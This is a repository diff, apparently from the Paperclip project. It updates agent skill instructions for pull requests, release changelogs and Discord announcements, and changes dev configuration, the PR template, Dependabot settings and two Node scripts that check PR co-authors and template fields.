* **Never change `.github/workflows/*`** unless the underlying commit was
explicitly about that and the task calls it out.
* **No design screenshots / wireframe images** committed to the repo unless
they are genuinely part of the work product.
* **Migrations**: numbered incrementally with no conflicts against master. If
master moved and took your number, renumber on top. Make migrations
**idempotent** so users who already applied the old number are safe.
* **Greptile file limit**: keep each PR under **100 changed files**; if a PR
exceeds that, split it into two.
## 4. Open the PR
* Follow `CONTRIBUTING.md` (repo root,
https://github.com/paperclipai/paperclip/blob/master/CONTRIBUTING.md) for
the PR title, message format, and issue description.
* Push the branch and open the PR with `gh`.
* Record the PR URL immediately — every report must include URLs to every PR.
## 5. Review loops
* Run the **/greploop** company skill: trigger Greptile review, address its
comments, push, and repeat until Greptile gives **5/5 with zero unresolved
comments** (max 20 turns). Do not stop early while turns remain.
* Then run the **/prcheckloop** company skill and address any verification /
CI failures you can.
* RUN GREPTILE UNTIL IT GETS TO 5/5 - DO NOT STOP UNTIL GREPTILE IS 5/5, all
tests pass, all verification checks pass, and there are no merge conflicts.
## 6. Report back and hand off
* Comment on the driving task: what you did, the PR URL(s), the worktree path
(use `~` for home), Greptile score, and check status.
* Create a `pull_request` work product for each opened PR (plus `branch` /
`commit` work products where the branch or a commit is itself the handoff).
* If the task requires follow-up per PR (e.g. sub-issues per PR), create them
as the task directs and link them.
## Hard rules
* **YOU DO NOT MERGE THE PR YOURSELF. NEVER MERGE THE PR YOURSELF.**
* Never lose work: no orphaned stashes, no dropped files, no force-pushes
that discard commits.
* Always post the URLs to every pull request you created.
@@ -1,11 +1,9 @@
---
name: release-changelog-discord-message
description: >
Write the Discord release announcement for a stable Paperclip release. Companion
to `release-changelog` — that skill produces the file at `releases/vYYYY.MDD.P.md`;
this one turns that file into a single copy-pasteable Discord post in dotta's
voice and attaches it as the `discord_announcement` document on the release
issue.
Write the Discord announcement for a stable Paperclip release from the release
changelog. Use when a release issue needs a copy-pasteable dotta-voice Discord
post or refreshed discord_announcement document.
---
# Release Discord Announcement Skill
@@ -13,7 +11,11 @@ description: >
Write the Discord release announcement for the **stable** Paperclip release.
This is the companion to `.agents/skills/release-changelog/SKILL.md`. That skill
generates the file at `releases/vYYYY.MDD.P.md`. This skill turns that file into
writes the changelog — during the beta soak it lives at
`releases/beta/v{beta-version}.md` on the `release-notes/v{beta-version}`
branch, and after the stable ships a canonicalization PR renames it to
`releases/vYYYY.MDD.P.md` (see that skill's Channel Process section). This
skill turns that file into
a single copy-pasteable Discord block, in dotta's voice, and posts it as the
`discord_announcement` document on the release issue.
@@ -29,8 +31,9 @@ current Paperclip work — not invented.
## When to use
- After `release-changelog` has produced `releases/vYYYY.MDD.P.md` on the
release worktree/PR.
- After `release-changelog` has produced the changelog (beta-keyed on the
`release-notes/v{beta-version}` branch during the soak, or the
canonicalized `releases/vYYYY.MDD.P.md` after the stable ships).
- When the release issue (the one assigned by the release routine) asks for a
Discord announcement, or has a `discord_announcement` document that needs to
be refreshed for a new date/version.
@@ -43,6 +46,7 @@ current Paperclip work — not invented.
A single fenced markdown code block, ready to paste into Discord. Attached as
issue document key `discord_announcement` on the release issue, and pasted
verbatim into a comment on that issue so the human can copy it out.
When Cases are enabled, also upsert the social child case described below.
```bash
PUT /api/issues/{releaseIssueId}/documents/discord_announcement
@@ -124,6 +128,12 @@ Notes on the template:
- The opening and closing `:paperclip: :paperclip: :paperclip:` bookends are
part of the brand — keep them.
- Name the install channels somewhere in the post: `npx paperclipai@latest`
for the stable, `@beta` / `@nightly` / `@canary` for earlier access, and
Docker `:latest` moving **only** on stable releases.
- The FULL RELEASE NOTES link points at `releases/v{VERSION}.md` on
`master` — that file exists only after the post-stable canonicalization
PR merges. Merge it before the announcement is posted.
- Sections may be UPPERCASE or Title Case — dotta has used both. Pick a style
and stay consistent within a single post.
- Use `||@everyone||` (Discord spoiler-wrapped) at the very end so it pings
@@ -153,6 +163,9 @@ Mimic this register; do not invent a "professional" tone.
- **"WHATS NEXT" is forward-looking themes**, not a literal sprint list. 3–5
bullets is the right size. Pull these from active goals, in-flight projects,
and recent issues the team is working on — do not invent themes.
- **Highlights follow the changelog skill's delta rule**: a feature the
previous announcement already introduced appears only for what changed
this release, and does not headline twice for follow-through work.
- **"What's on my mind"** is dotta's personal/strategic thinking — docs gaps,
philosophical positioning ("we're the human control plane for ai labor"),
invitations ("if you've ever wanted to write about how you use Paperclip,
@@ -164,7 +177,8 @@ Mimic this register; do not invent a "professional" tone.
(follow the twitter, intros, beta sign-ups). No real ask → drop it.
- **Community** is the same contributors list that's in the changelog file,
fenced in a triple-backtick block, comma-separated `@username, @username`.
Exclude bots and Paperclip founders, same rules as the changelog skill.
Exclude bots and the specific folks on the changelog skill's canonical
exclusion list — same rules.
- **The "In Summary" mission line** evolves slowly. Use the most recent
variant unless dotta tells you otherwise. Recent variants:
- "PAPERCLIP IS THE AI ORCHESTRATOR FOR HUMANS TO ACCOMPLISH 100x MORE WORK"
@@ -175,20 +189,77 @@ Mimic this register; do not invent a "professional" tone.
## Workflow
1. Read the matching `releases/vYYYY.MDD.P.md` produced by `release-changelog`.
Use the version and contributor list from that file — never re-derive them.
2. Read the **release issue thread** (the one assigned to you that ran the
1. Read the matching changelog produced by `release-changelog` — the
beta-keyed file during the soak, `releases/vYYYY.MDD.P.md` once
canonicalized. Use the version and contributor list from that file —
never re-derive them.
2. Resolve the parent `release` case with key `paperclip-release:vYYYY.MDD.P`.
If it does not exist and Cases are enabled, create it using the schema in
`.agents/skills/release-changelog/SKILL.md` before creating child cases.
3. Read the **release issue thread** (the one assigned to you that ran the
release routine) — comments + linked issues + recent issues in the company
are the source for `WHATS NEXT` and `What's on my mind`. Pull real themes,
not invented ones.
3. Re-read the three verbatim examples below — they're the canonical voice.
4. Draft the announcement using the template above.
5. PUT it as the `discord_announcement` document on the release issue (see
are the source for `WHATS NEXT` and `What's on my mind`. Commits already
on `origin/master` **after** the beta source commit are prime "what's
next" material: they are literally the next release's content. Pull real
themes, not invented ones.
4. Re-read the three verbatim examples below — they're the canonical voice.
5. Draft the announcement using the template above.
6. PUT it as the `discord_announcement` document on the release issue (see
"Output" above). If updating, send the latest `baseRevisionId`.
6. Post a comment on the release issue that includes the announcement inside a
7. Upsert the `tweet_storm` child case with `parentCaseId` set to the release
case id, then PUT its `body` document to the announcement body.
8. Post a comment on the release issue that includes the announcement inside a
single fenced markdown code block, so dotta can copy-paste it into Discord
without opening the document.
## Tweet Storm Case Schema
Use this child case for the Discord/social announcement thread. The key must be
stable so retries update the same child case:
```http
POST /api/companies/:companyId/cases
{
"caseType": "tweet_storm",
"key": "paperclip-release:vYYYY.MDD.P:tweet-storm",
"title": "Paperclip vYYYY.MDD.P tweet storm",
"summary": "Social announcement thread for Paperclip vYYYY.MDD.P.",
"status": "in_review",
"parentCaseId": "<release-case-id>",
"fields": {
"schema_version": 1,
"version": "vYYYY.MDD.P",
"channel": "x",
"discord_source": true,
"post_count": 1,
"target_audience": ["operators", "contributors", "agent-company builders"],
"links": {
"release_notes": "https://github.com/paperclipai/paperclip/blob/master/releases/vYYYY.MDD.P.md",
"official_account": "https://x.com/papercliping"
},
"review": {
"needs_human_copy_paste": true,
"approved_by": null
}
}
}
```
Then write the body document:
```http
PUT /api/cases/:tweetStormCaseId/documents/body
{
"title": "Paperclip vYYYY.MDD.P tweet storm body",
"format": "markdown",
"body": "<announcement body>",
"changeSummary": "Draft social announcement"
}
```
If updating an existing document, fetch the case and pass the latest
`baseRevisionId`.
Do not publish to Discord. This skill only prepares the artifact.
## Verbatim previous examples
@@ -392,7 +463,8 @@ https://github.com/paperclipai/paperclip/blob/master/releases/v2026.427.0.md
Before handing off:
1. Version + date match the matching `releases/vYYYY.MDD.P.md` exactly.
2. Contributor list matches the changelog (same exclusions: bots, founders).
2. Contributor list matches the changelog (same exclusions: bots and the
changelog skill's canonical excluded-folks list).
3. Highlights are a subset of the changelog Highlights — same shipped features,
not invented or pre-alpha work.
4. `WHATS NEXT` and `What's on my mind` are pulled from real recent issues /
+143 -13
View File
@@ -23,6 +23,8 @@ intended release date (UTC) plus the next same-day stable patch slot.
Output:
- `releases/vYYYY.MDD.P.md`
- a `release` Case, upserted by `(caseType, key)` when Cases are enabled, with a
`body` document revision containing the changelog body
Important rules:
@@ -30,14 +32,57 @@ Important rules:
- do not derive versions from semver bump types
- do not create canary changelog files
## Channel Process — Source Commit and File Location
Stables promote a **soaked beta**, so the changelog describes the beta's
source commit, not the tip of `master`:
- The release **source** is the commit the newest `beta/v<beta-version>`
tag points at (`{beta-src}` below). Resolve it with:
```bash
git fetch origin --tags
npm view paperclipai dist-tags # the beta dist-tag names the version
git rev-parse 'beta/v{beta-version}^{commit}'
```
- Commits on `master` after `{beta-src}` ship in the **next** release.
Never include them; they are input for a "what's next" section, not the
changelog.
- During the soak, the file lives at `releases/beta/v{beta-version}.md`
on the branch `release-notes/v{beta-version}` (PR to `master`). The
release workflow pushes that branch with a generated skeleton when the
beta publishes; work on it and rewrite the skeleton in place. If the
branch does not exist (a beta cut before the automation), create it
from `origin/master` and seed the skeleton:
```bash
./scripts/draft-stable-notes.sh {beta-version}
```
- The PR must merge to `master` **before** the stable is dispatched: the
stable preflight reads the file from `master` and fails without it.
- Never create `releases/vYYYY.MDD.P.md` yourself on this path — after
the stable ships, the workflow opens a canonicalization PR that renames
the beta-keyed file to it.
- **Fix path exception** (patch releases from a `candidate/release-*`
branch): there the notes *do* go directly on the candidate branch as
`releases/vYYYY.MDD.P.md`, committed alongside the cherry-picked fixes.
## Step 0 — Idempotency Check
Before generating anything, check whether the file already exists:
Before generating anything, check whether the changelog already exists:
```bash
ls releases/vYYYY.MDD.P.md 2>/dev/null
ls releases/beta/v{beta-version}.md 2>/dev/null # soak-window home
ls releases/vYYYY.MDD.P.md 2>/dev/null # canonicalized / fix path
git ls-remote origin 'refs/heads/release-notes/v{beta-version}'
```
A `release-notes/v{beta-version}` branch holding only the generated
skeleton is the normal starting state, not a conflict — rewrite it in
place.
If it exists:
1. read it first
@@ -47,13 +92,17 @@ If it exists:
## Step 1 — Determine the Stable Range
Find the last stable tag:
Find the last stable tag and the beta source commit:
```bash
git tag --list 'v*' --sort=-version:refname | head -1
git log v{last}..HEAD --oneline --no-merges
beta_src="$(git rev-parse 'beta/v{beta-version}^{commit}')"
git log v{last}..${beta_src} --oneline --no-merges
```
The changelog range is always `v{last}..{beta-src}` — never `..HEAD` and
never `..origin/master`.
The stable version comes from one of:
- an explicit maintainer request
@@ -74,8 +123,8 @@ Collect release data from:
Useful commands:
```bash
git log v{last}..HEAD --oneline --no-merges
git log v{last}..HEAD --format="%H %s" --no-merges
git log v{last}..{beta-src} --oneline --no-merges
git log v{last}..{beta-src} --format="%H %s" --no-merges
ls .changeset/*.md | grep -v README.md
gh pr list --state merged --search "merged:>={last-tag-date}" --json number,title,body,labels
```
@@ -92,10 +141,10 @@ Look for:
Key commands:
```bash
git diff --name-only v{last}..HEAD -- packages/db/src/migrations/
git diff v{last}..HEAD -- packages/db/src/schema/
git diff v{last}..HEAD -- server/src/routes/ server/src/api/
git log v{last}..HEAD --format="%s" | rg -n 'BREAKING CHANGE|BREAKING:|^[a-z]+!:' || true
git diff --name-only v{last}..{beta-src} -- packages/db/src/migrations/
git diff v{last}..{beta-src} -- packages/db/src/schema/
git diff v{last}..{beta-src} -- server/src/routes/ server/src/api/
git log v{last}..{beta-src} --format="%s" | rg -n 'BREAKING CHANGE|BREAKING:|^[a-z]+!:' || true
```
If breaking changes are detected, flag them prominently — they must appear in the
@@ -119,6 +168,14 @@ Guidelines:
- write from the user perspective
- keep highlights short and concrete
- spell out upgrade actions for breaking changes
- **describe deltas, not repeats**: read the previous stable's notes
(`releases/v<last-stable>.md`) before writing. When they already
introduced a feature, this release's entry covers only what changed —
a default flip, a hardening, a completion — phrased against the prior
release ("last release introduced X; this release makes it the
default"), never re-describing the feature as if it debuted. A theme
that headlined the previous release does not headline again for
follow-through work; demote it to Improvements.
### Inline PR and contributor attribution
@@ -141,6 +198,14 @@ Rules:
## Step 5 — Write the File
The **file path** is the beta-keyed one from the Channel Process section
(`releases/beta/v{beta-version}.md`), but the **content** is titled with
the planned stable version. Resolve it with
`./scripts/release.sh stable --date {planned-promotion-date} --print-version`
(promotion is normally the beta publish date plus the 3-day soak). If the
promotion date slips, the version re-resolves at dispatch — the beta-keyed
filename makes that harmless; refresh the title when it happens.
The opening line of the changelog must be an H1 of the format `# Paperclip {version}`
(no braces), e.g. `# Paperclip v2026.618.0`. Always include the `Paperclip ` prefix and
the `v` on the version.
@@ -175,19 +240,83 @@ The `Contributors` section should always be included. List every person who auth
commits in the release range, @-mentioning them by their **GitHub username** (not their
real name or email). To find GitHub usernames:
1. Extract usernames from merge commit messages: `git log v{last}..HEAD --oneline --merges` — the branch prefix (e.g. `from username/branch`) gives the GitHub username.
1. Extract usernames from merge commit messages: `git log v{last}..{beta-src} --oneline --merges` — the branch prefix (e.g. `from username/branch`) gives the GitHub username.
2. For noreply emails like `user@users.noreply.github.com`, the username is the part before `@`.
3. For contributors whose username is ambiguous, check `gh api users/{guess}` or the PR page.
**Never expose contributor email addresses.** Use `@username` only.
Exclude bot accounts (e.g. `lockfile-bot`, `dependabot`) from the list.
Exclude Paperclip founders from the list (e.g. `cryppadotta`, `forgottendev`, `devinfoley`, `sockmonster`, `scotttong`)
Exclude specific folks from the list — the Contributors section credits
community contributors only. The canonical exclusion list (keep it here;
the Discord skill defers to it):
`cryppadotta`, `forgottendev`, `devinfoley`, `sockmonster`, `scotttong`,
`nguyenm7`, `nickyleach`, `tonio-alucema`
List contributors in alphabetical order by GitHub username (case-insensitive).
If there are no contributors left after exclusions, then just skip this section and don't mention it.
## Step 5b — Upsert The Release Case
After writing `releases/vYYYY.MDD.P.md`, emit or refresh the top-level release
case when the run has Paperclip API context. Use `skills/paperclip/references/cases.md`
as the API contract. If the API returns `403 Cases are disabled`, report that
Cases must be enabled and continue with the changelog file only.
Request:
```http
POST /api/companies/:companyId/cases
{
"caseType": "release",
"key": "paperclip-release:vYYYY.MDD.P",
"title": "Paperclip vYYYY.MDD.P release",
"summary": "Stable Paperclip release notes for vYYYY.MDD.P.",
"status": "in_progress",
"fields": {
"schema_version": 1,
"version": "vYYYY.MDD.P",
"release_date": "YYYY-MM-DD",
"release_patch": 0,
"stable": true,
"channels": ["changelog", "blog_post", "tweet_storm"],
"artifacts": {
"changelog_path": "releases/vYYYY.MDD.P.md",
"github_release_url": null
},
"verification": {
"typecheck": "unknown",
"tests": "unknown",
"build": "unknown",
"smoke": "unknown"
},
"notes": null
}
}
```
This fields schema deliberately exercises every generic field value type:
string, number, boolean, array, object, and null. Keep the keys stable across
runs and send the full object on every upsert because fields are replaced, not
deep-merged.
Then write the changelog into the case body document:
```http
PUT /api/cases/:releaseCaseId/documents/body
{
"title": "Paperclip vYYYY.MDD.P changelog",
"format": "markdown",
"body": "<contents of releases/vYYYY.MDD.P.md>",
"changeSummary": "Initial stable changelog"
}
```
If updating an existing body document, fetch the case first and pass the latest
`baseRevisionId`. On `409 stale_base_revision`, refetch, merge intentionally,
and retry once.
## Step 6 — Review Before Release
Before handing it off:
@@ -195,6 +324,7 @@ Before handing it off:
1. confirm the H1 heading is `# Paperclip {version}` (e.g. `# Paperclip v2026.618.0`) with the stable version only
2. confirm there is no `-canary` language in the title or filename
3. confirm any breaking changes have an upgrade path
4. present the draft for human sign-off
4. confirm the `release` case exists or explain why Cases were unavailable
5. present the draft for human sign-off
This skill never publishes anything. It only prepares the stable changelog artifact.
+76
View File
@@ -18,6 +18,8 @@ This skill coordinates:
- manual stable promotion from a chosen source ref
- GitHub Release creation
- website / announcement follow-up tasks
- release-content Cases dogfood: a top-level `release` case with child
`blog_post` and `tweet_storm` cases, all linked to the release issue/run
## Trigger
@@ -214,6 +216,78 @@ Create or verify follow-up work for:
These should reference the stable release, not the canary.
## Step 8 — Emit Release-Content Cases
When Cases are enabled, every stable release-content run must materialize a
deterministic case tree. This is part of the release dogfood path, not an
optional artifact. If the API returns `403 Cases are disabled`, stop and report
that the operator must enable `experimental.enableCases`.
Use the current release issue's `PAPERCLIP_COMPANY_ID`, `PAPERCLIP_API_URL`,
`PAPERCLIP_API_KEY`, and `PAPERCLIP_RUN_ID`. Include `X-Paperclip-Run-Id` on
all writes so the case activity feed can attribute the run back to the issue.
Create or upsert the parent `release` case first:
```http
POST /api/companies/:companyId/cases
{
"caseType": "release",
"key": "paperclip-release:vYYYY.MDD.P",
"title": "Paperclip vYYYY.MDD.P release",
"summary": "Stable release content package for Paperclip vYYYY.MDD.P.",
"status": "in_progress",
"fields": {
"schema_version": 1,
"version": "vYYYY.MDD.P",
"release_date": "YYYY-MM-DD",
"source_ref": "git-sha-or-ref",
"stable": true,
"channels": ["changelog", "blog_post", "tweet_storm"],
"artifacts": {
"changelog_path": "releases/vYYYY.MDD.P.md",
"github_release_url": null
},
"verification": {
"typecheck": "unknown",
"tests": "unknown",
"build": "unknown",
"smoke": "unknown"
},
"notes": null
}
}
```
The `fields` schema intentionally uses all generic JSON value types: strings,
numbers, booleans, arrays, objects, and nulls. Send the complete fields object on
each upsert because case fields replace as a whole object.
Write the parent body document immediately after the upsert:
```http
PUT /api/cases/:releaseCaseId/documents/body
{
"title": "Paperclip vYYYY.MDD.P release body",
"format": "markdown",
"body": "# Paperclip vYYYY.MDD.P\n\nRelease summary and links...",
"changeSummary": "Initial release case body"
}
```
Then create or upsert these child cases with `parentCaseId` set to the release
case id:
- `blog_post`, key `paperclip-release:vYYYY.MDD.P:blog-post`, status
`in_progress`, body document key `body`
- `tweet_storm`, key `paperclip-release:vYYYY.MDD.P:tweet-storm`, status
`in_progress`, body document key `body`
Use deterministic keys exactly so rerunning the release-content flow upserts the
same three cases instead of duplicating them. After the child body documents are
written, list the resulting case identifiers and links in the release issue and
in the parent acceptance issue when one exists.
## Failure Handling
If the canary is bad:
@@ -244,4 +318,6 @@ When the skill completes, provide:
- smoke-test status
- git tag / GitHub Release status
- website / announcement follow-up status
- release-content case tree links: parent `release` case plus `blog_post` and
`tweet_storm` children
- rollback recommendation if anything is still partially complete
+3 -11
View File
@@ -1,17 +1,9 @@
---
name: terminal-bench-loop
description: >
Run a single Terminal-Bench problem through Paperclip in a bounded,
human-in-the-loop improvement cycle until the smoke passes, the board
rejects the next fix, the iteration budget is exhausted, or a real
blocker is named. Each iteration runs a bounded smoke against an
isolated Paperclip App worktree, captures artifacts, diagnoses the
exact stop point with `/diagnose-why-work-stopped`, requests board
confirmation before any product fix, then reruns against the same
worktree. Use whenever an issue asks to "run Terminal-Bench in a
loop", "drive Terminal-Bench until it passes", "loop fix-git through
Paperclip", or otherwise points at a Terminal-Bench task and asks for
bounded iteration with diagnosis.
Run one Terminal-Bench task through a bounded Paperclip smoke/diagnosis/fix
loop. Use when asked to drive Terminal-Bench until it passes, rerun a
Terminal-Bench loop, or iterate with board-gated fixes and diagnosis.
---
# Terminal-Bench Loop
+15
View File
@@ -0,0 +1,15 @@
{
"version": "0.0.1",
"configurations": [
{
"name": "paperclip",
"runtimeExecutable": "/bin/sh",
"runtimeArgs": [
"-c",
"TMPDIR=/tmp pnpm dev"
],
"port": 3108,
"autoPort": true
}
]
}
+7
View File
@@ -2,6 +2,13 @@ DATABASE_URL=postgres://paperclip:paperclip@localhost:5432/paperclip
PORT=3100
SERVE_UI=false
BETTER_AUTH_SECRET=paperclip-dev-secret
PAPERCLIP_TOOL_ACTION_SIGNING_SECRET=paperclip-dev-tool-action-signing-secret-change-me
# Process-wide protection for expensive full-tree workspace Git scans.
# PAPERCLIP_WORKSPACE_GIT_SCAN_CONCURRENCY=2
# PAPERCLIP_WORKSPACE_GIT_SCAN_QUEUE_CAPACITY=32
# PAPERCLIP_WORKSPACE_GIT_SCAN_TIMEOUT_MS=8000
# PAPERCLIP_WORKSPACE_GIT_SCAN_CACHE_TTL_MS=10000
# Discord webhook for daily merge digest (scripts/discord-daily-digest.sh)
# DISCORD_WEBHOOK_URL=https://discord.com/api/webhooks/...
+18 -8
View File
@@ -1,3 +1,5 @@
<!-- Write all pull request text in Simplified Technical English (ASD-STE100): short sentences, one instruction per sentence, simple approved vocabulary, and the active voice. -->
## Thinking Path
<!--
@@ -17,10 +19,11 @@
## Linked Issues or Issue Description
<!--
Required. Pick ONE of the following two paths:
Required. Pick ONE of the two paths below.
(A) Issue exists — tag each linked issue with `Fixes: #123`, `Closes #123`,
or `Refs #123`. Include duplicates and closely related issues too.
(A) Issue exists — replace the placeholder below with your issue links.
Tag each linked issue with `Fixes: #123`, `Closes #123`, or `Refs #123`.
Include duplicates and closely related issues too.
Only reference PUBLIC GitHub issues/PRs here. Do NOT paste internal,
instance-local Paperclip references — ticket ids like PAPA-123 / PAP-224,
@@ -28,11 +31,18 @@
contributors cannot open them. See CONTRIBUTING.md → "No Internal Issue
References".
(B) No issue exists — describe the underlying problem here, following the
relevant issue template so reviewers get the same fields:
• Bug: .github/ISSUE_TEMPLATE/bug_report.yml
• Feature: .github/ISSUE_TEMPLATE/feature_request.yml
• Adapter: .github/ISSUE_TEMPLATE/adapter_request.yml
(B) No issue exists — describe the underlying problem here. Follow the issue
template that fits your change. Open the matching file and copy its field
labels into your description:
• Bug: .github/ISSUE_TEMPLATE/bug_report.yml
• Feature: .github/ISSUE_TEMPLATE/feature_request.yml
• Adapter: .github/ISSUE_TEMPLATE/adapter_request.yml
• Enhancement: .github/ISSUE_TEMPLATE/enhancement.yml
• Docs: .github/ISSUE_TEMPLATE/docs_issue.yml
An automated check reads the literal bold labels AND the content under
each label. Keep at least three of these labels, each alone on its own
line, and write real content under each. A label with only the bare "-"
placeholder does not count, and the check fails.
See CONTRIBUTING.md → "Link Issues or Describe Them In-PR".
-->
+12 -4
View File
@@ -6,13 +6,21 @@ updates:
interval: weekly
day: monday
time: "06:00"
open-pull-requests-limit: 10
# Each dependency update gets its own pull request, including major
# version bumps. A grouped major PR cannot merge when one member has
# a blocked upgrade, so it hides the other ready majors. Separate PRs
# let each major land on its own. The limit holds the initial burst
# of pending majors plus the regular minor and patch updates.
open-pull-requests-limit: 20
labels:
- "dependencies"
ignore:
# Ignore major version bumps — review those manually
- dependency-name: "*"
update-types: ["version-update:semver-major"]
# @types/node describes the APIs available in the supported Node runtime.
# Runtime major upgrades are deliberate compatibility changes, so keep
# Dependabot on the current major until the runtime baseline moves too.
- dependency-name: "@types/node"
update-types:
- "version-update:semver-major"
- package-ecosystem: github-actions
directory: "/"
+135
View File
@@ -0,0 +1,135 @@
#!/usr/bin/env node
/**
* check-pr-coauthors.mjs
* Surfaces the `Co-Authored-By` trailers a squash merge needs to keep
* contributors credited.
* Export: checkCoauthors(commits, prAuthor) → { passed, informational }
*
* This repository squash-merges, so every commit on a branch collapses into
* one commit authored by whoever presses the button. When a branch carries
* someone else's work — a rebase of a stale contributor PR, a port of an
* abandoned branch, a pairing session — their name survives only if the squash
* message carries a `Co-Authored-By` trailer for them. Nothing prompts for it,
* and the PR page keeps showing the original author either way, so the loss is
* invisible at exactly the moment it happens.
*
* Identity matching is a heuristic and is deliberately biased. A commit GitHub
* could not match to an account is credited unless its name or email resolves
* to the PR author, which will occasionally credit someone as a co-author of
* themselves — their git config carrying a real name where the comparison has
* only a login. That error costs a line a human drops while pasting. The
* opposite error costs a contributor their attribution silently, which is the
* failure this gate exists to prevent, so the bias runs towards over-crediting.
*
* Informational rather than a failure, on purpose. The squash message does not
* exist while the PR is open, so this cannot be verified here and cannot be
* fixed here either. Failing the PR would block work on something its author
* has no way to satisfy. What this can do is notice that the situation applies
* and hand over the exact lines to paste.
*/
import { fileURLToPath } from 'node:url';
/**
* Fetches every commit on a PR across GitHub pagination.
*
* Capped at the API's own ceiling: `/pulls/{n}/commits` returns at most 250
* commits and silently stops. A branch that large is not the case this gate is
* about, and a partial list still surfaces the contributors it did see.
*/
export async function fetchAllPullRequestCommits(ghFetchFn, repo, prNumber, token) {
const commits = [];
for (let page = 1; page <= 3; page += 1) {
const batch = await ghFetchFn(
`/repos/${repo}/pulls/${prNumber}/commits?per_page=100&page=${page}`,
token
);
commits.push(...batch);
if (batch.length < 100) break;
}
return commits;
}
/** GitHub's own no-reply address for a login, which is what trailers should use. */
function noReplyEmail(login) {
return `${login}@users.noreply.github.com`;
}
export function checkCoauthors(commits, prAuthor) {
const author = (prAuthor ?? '').toLowerCase();
const contributors = new Map();
// Emails already accounted for under a GitHub login. One person can appear
// both ways in the same branch — some commits matched to their account, some
// authored with an email GitHub does not know — and keying on login alone
// would then emit two trailers for them.
const seenEmails = new Set();
for (const entry of commits ?? []) {
const login = entry?.author?.login ?? null;
const gitName = entry?.commit?.author?.name ?? null;
const gitEmail = entry?.commit?.author?.email ?? null;
// The PR author's own commits need no trailer — the squash is already
// theirs. Compared case-insensitively because GitHub logins are.
if (login && author && login.toLowerCase() === author) continue;
// Bots author plenty of commits and crediting them is noise.
if (login && /\[bot\]$/.test(login)) continue;
if (!login && !gitName) continue;
// A commit GitHub could not match to an account may still be the PR
// author's own — their git config carrying an email GitHub does not know.
// Without this they are listed as a co-author of themselves.
if (!login && author) {
const nameMatches = gitName && gitName.toLowerCase() === author;
const emailMatches = gitEmail && gitEmail.toLowerCase().startsWith(`${author}@`);
if (nameMatches || emailMatches) continue;
}
// Prefer the GitHub identity, so the trailer links to a profile. Fall back
// to the raw git author for a commit GitHub could not match to an account.
const name = login ?? gitName;
const email = login ? noReplyEmail(login) : gitEmail;
if (!email) continue;
// Keyed on identity, not on the rendered line. One person whose git config
// name changed across commits is still one person, and emitting them twice
// would put two trailers for the same contributor into the squash body.
const key = (login ?? gitEmail ?? name).toLowerCase();
if (contributors.has(key)) continue;
const emailKey = (gitEmail ?? '').toLowerCase();
if (emailKey && seenEmails.has(emailKey)) continue;
if (emailKey) seenEmails.add(emailKey);
const displayName = gitName && login ? gitName : name;
contributors.set(key, {
trailer: `Co-Authored-By: ${displayName} <${email}>`,
name: displayName,
});
}
if (contributors.size === 0) return { passed: true, informational: [] };
const trailers = [...contributors.values()].map(c => c.trailer).sort();
const names = [...new Set([...contributors.values()].map(c => c.name))].sort();
const who = names.length === 1 ? names[0] : `${names.length} other contributors`;
return {
passed: true,
informational: [
`This branch carries commits by ${who}. Squash-merging drops that authorship unless ` +
'the squash message carries their trailers, and nothing else will notice if it does not. ' +
'Add to the squash body when merging:\n\n' +
trailers.map(line => ` ${line}`).join('\n'),
],
};
}
if (process.argv[1] === fileURLToPath(import.meta.url)) {
const commits = JSON.parse(process.env.PR_COMMITS ?? '[]');
const result = checkCoauthors(commits, process.env.PR_AUTHOR ?? '');
console.log(JSON.stringify(result));
process.exit(0);
}
+91 -14
View File
@@ -47,34 +47,111 @@ const TEMPLATE_FIELDS = {
["Why this adapter is useful", "Why it's useful", 'Why useful', 'Use case'],
['How the agent is invoked', 'How it is invoked', "How it's invoked", 'Invocation'],
],
// Labels below match .github/ISSUE_TEMPLATE/enhancement.yml exactly.
enhancement: [
['What existing behavior does this improve?', 'What existing behavior does this improve'],
['Subsystem affected'],
['Current behavior'],
['Proposed behavior'],
['Reason and benefit'],
['Breaking changes'],
],
// Labels below match .github/ISSUE_TEMPLATE/docs_issue.yml exactly. The
// template has 4 distinct fields, so it meets the 3-field minimum. A
// "docs"-prefixed PR skips this check; this set helps a non-"docs"-prefixed
// PR that describes a documentation issue inline.
docs: [
['Issue type'],
['Where is the issue?', 'Where is the issue'],
["What's wrong?", "What's wrong"],
['Suggested fix'],
],
};
function escapeRegExp(s) {
return s.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}
function countMatchedFields(body, fieldSet) {
// A generic "label line" is a markdown heading (`## Label`) or a bolded label on
// its own line (`**Label**`). The content scan stops at a label line, because
// that line starts a new field.
const LABEL_LINE = /^\s*(?:#{1,6}\s+\S|(?:\*\*|__)[^*_].*(?:\*\*|__)\s*[:?]?\s*$)/;
// Build the regex that matches one field label on its own line.
function labelLinePattern(label) {
const esc = escapeRegExp(label);
// Accept markdown headings or bolded/plain labels on their own line.
// Examples: "## What happened?", "**Expected behavior**", "Problem:".
return new RegExp(
`^\\s*(?:#{1,6}\\s+|\\*\\*\\s*|__\\s*)?${esc}(?:\\s*[:?])?(?:\\s*\\*\\*|\\s*__)?\\s*$`,
'i'
);
}
// Every known field label from every template, precompiled. The generic
// LABEL_LINE regex sees a heading or a bold label as a field boundary, but not a
// plain "Label:" line. A skeleton of stacked plain labels needs each label to
// act as a boundary. Without this list the scan reads the next label as
// content, so it counts an empty field as filled.
const KNOWN_LABEL_PATTERNS = Object.values(TEMPLATE_FIELDS)
.flat(2)
.map(labelLinePattern);
// Return true if the line starts a new field. The line is a heading, a bold
// label, or a plain line that equals a known field label.
function isFieldBoundary(line) {
return LABEL_LINE.test(line) || KNOWN_LABEL_PATTERNS.some(p => p.test(line));
}
// Return true if the line holds real content, not a bare placeholder. The
// default template skeleton puts a lone "-" under each label, so a label with
// only "-", blank lines, or a "[...]" placeholder does not count as filled.
function lineHasContent(line) {
let text = line.trim();
if (!text) return false;
// Drop a leading list marker ("- ", "* ", "1. ") before the check.
text = text.replace(/^[-*+]\s*/, '').replace(/^\d+[.)]\s*/, '').trim();
if (!text) return false;
// Treat a whole-line bracket placeholder ("[describe here]") as empty.
if (/^\[.*\]$/.test(text)) return false;
return true;
}
// Return true if a label variant appears on its own line AND at least one
// content line follows it before the next label line.
function isFieldFilled(lines, variants) {
const patterns = variants.map(labelLinePattern);
for (let i = 0; i < lines.length; i += 1) {
if (!patterns.some(p => p.test(lines[i]))) continue;
for (let j = i + 1; j < lines.length; j += 1) {
if (isFieldBoundary(lines[j])) break; // next field starts here
if (lineHasContent(lines[j])) return true;
}
}
return false;
}
